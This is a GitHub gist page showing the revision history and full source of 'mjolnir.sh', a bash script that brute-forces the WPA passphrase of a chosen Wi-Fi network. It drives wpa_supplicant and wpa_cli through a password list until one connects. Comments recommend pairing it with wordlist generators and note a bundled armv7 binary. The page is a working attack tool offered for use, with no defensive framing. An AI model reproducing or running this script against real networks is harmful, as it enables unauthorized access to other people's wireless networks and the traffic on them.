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Celestial-intelligence/mjolnir.sh

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Revisions

  1. Celestial-intelligence revised this gist Jan 14, 2019. No changes.
  2. Celestial-intelligence revised this gist Jan 14, 2019. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion mjolnir.sh
    View file
    Original file line number Diff line number Diff line change
    @@ -2,7 +2,7 @@

    # ATTENTION!!!
    # Highly recommended to use with https://github.com/beardache/WiFiMap or https://forums.kali.org/showthread.php?23080-adstar-Wordlist-Generator-v1-0 (this one gives passwords quick right from stdout ;)
    # Attached version of wpa_cli binary compiled to armv7 architecture. However you can find your architecture version in the internet.
    # Attached version of wpa_cli binary was compiled for armv7 architecture. However you can find your architecture version in the internet.
    # Forked from https://github.com/rasta-mouse/Mjolnir

    ### text colours ###
  3. Celestial-intelligence created this gist Jan 14, 2019.
    139 changes: 139 additions & 0 deletions mjolnir.sh
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    Original file line number Diff line number Diff line change
    @@ -0,0 +1,139 @@
    #!/bin/bash

    # ATTENTION!!!
    # Highly recommended to use with https://github.com/beardache/WiFiMap or https://forums.kali.org/showthread.php?23080-adstar-Wordlist-Generator-v1-0 (this one gives passwords quick right from stdout ;)
    # Attached version of wpa_cli binary compiled to armv7 architecture. However you can find your architecture version in the internet.
    # Forked from https://github.com/rasta-mouse/Mjolnir

    ### text colours ###

    red='\e[0;31m'
    green='\e[0;32m'
    blue='\e[0;34m'
    nc='\e[0m'

    ### art ###

    echo '
    __ __ _ _ _ _ _
    | \/ (_(_) (_| | (_)
    | \ / |_ ___ | |_ __ _ _ __
    | |\/| | |/ _ \| | _ \| | __|
    | | | | | (_) | | | | | | |
    |_| |_| |\___/|_|_| |_|_|_|
    _/ |
    |__/
    v1
    '
    ### input & variables ###

    loc=/tmp/wpa_supplicant.conf

    echo -n "Target ESSID: "
    read ssid

    if [ -z "$ssid" ]; then
    echo -e "${red}[x]${nc} ESSID required."
    exit 1
    fi

    echo -n "Password List (full path): "
    read list

    if [ ! -f "$list" -o -z "$list" ]; then
    echo -e "${red}[x]${nc} File not found."
    exit 1
    fi

    echo -n "Wireless Interface (e.g. wlan0): "
    read int

    if [ -z "$int" ]; then
    echo -e "${red}[x]${nc} Interface required."
    exit 1
    fi

    echo ""
    echo -e "${blue}[-]${nc} Launching..."

    psk=$(cat $list)

    ### functions ###

    function killSup {
    echo -e "${blue}[-]${nc} Killing instances of wpa_supplicant"
    killall wpa_supplicant > /dev/null 2>&1
    }

    function prepConf {
    echo -e "${blue}[-]${nc} Prepping wpa_supplicant.conf"
    echo ctrl_interface=/var/run/wpa_supplicant > $loc
    }

    function prepSup {
    # use nl80211 if available. it's much faster
    if [ "`wpa_supplicant | grep -o nl80211`" ]; then
    driver='nl80211'
    else
    driver='wext'
    fi
    wpa_supplicant -B -D${driver} -i${int} -c$loc > /dev/null 2>&1
    pid=$(ps aux | grep [D]${driver} | awk '{ print $2 }')
    echo -e "${blue}[-]${nc} Daemonising wpa_supplicant (PID "$pid")"
    }

    function clearNetworks {
    echo -e "${blue}[-]${nc} Purging network list"
    for i in `wpa_cli -i${int} list_networks | grep ^[0-9] | cut -f1`; do
    wpa_cli -i${int} remove_network $i > /dev/null 2>&1
    done
    }

    function addNetwork {
    echo -e "${blue}[-]${nc} Adding network entry for ${ssid}"
    wpa_cli -i${int} add_network > /dev/null 2>&1
    wpa_cli -i${int} set_network 0 auth_alg OPEN > /dev/null 2>&1
    wpa_cli -i${int} set_network 0 key_mgmt WPA-PSK > /dev/null 2>&1
    wpa_cli -i${int} set_network 0 proto RSN > /dev/null 2>&1
    wpa_cli -i${int} set_network 0 mode 0 > /dev/null 2>&1
    wpa_cli -i${int} set_network 0 ssid '"'${ssid}'"' > /dev/null 2>&1
    }


    function mainGuess {
    echo -e "${blue}[-]${nc} Bruteforcing ${ssid}"

    for psk in `cat $list`; do
    echo Trying "${psk}"
    wpa_cli -i${int} set_network 0 psk '"'${psk}'"' > /dev/null 2>&1
    wpa_cli -i${int} select_network 0 > /dev/null 2>&1
    wpa_cli -i${int} enable_network 0 > /dev/null 2>&1
    wpa_cli -i${int} reassociate > /dev/null 2>&1

    for i in {1..12}; do
    netStatus=$(wpa_cli -i${int} status | grep wpa_state | cut -d"=" -f2)
    if [ "$netStatus" == "COMPLETED" ]; then
    echo -e "${green}[+] ${nc}$ssid: $psk"
    return
    fi
    sleep 1
    done
    done
    }

    function cleanUp {
    echo -e "${blue}[-]${nc} Cleaning up..."
    killall wpa_supplicant > /dev/null 2>&1
    killall wpa_cli > /dev/null 2>&1
    rm $loc > /dev/null 2>&1
    }


    killSup
    prepConf
    prepSup
    clearNetworks
    addNetwork
    mainGuess &
    wait
    cleanUp